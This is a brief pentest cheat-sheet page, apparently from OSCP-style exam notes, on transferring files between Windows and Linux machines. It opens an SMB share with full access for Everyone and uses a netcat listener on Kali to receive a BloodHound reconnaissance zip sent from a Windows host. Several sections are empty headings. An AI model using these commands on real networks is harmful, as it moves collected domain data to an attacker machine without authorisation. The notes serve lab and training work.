File Transfer

Windows <--> Windows

Using SMB


# Step 1: On first machine, create a new SMB share with full access
New-SmbShare -Path 'C:\Users\offsec\exam\101\' -Name "share" -FullAccess Everyone

# on second machine
net use \\server_id

# now simply use copy command to share file accoess windows machine
copy 20240514105010_BloodHound.zip \\192.168.176.250\share2\20240514105010_BloodHound.zip

Windows <--> Linux

Using NetCat

# On Kali Machine
nc -lvp 3333 > data.zip

# And on windows side: Don't run on Powershell. 
./nc.exe 192.168.49.95 3333 < C:/Users/Tom.Davies/20240524095202_BloodHound.zip

Using SMB Server

Using FTP

Linux <--> Linux

Using SCP

Last updated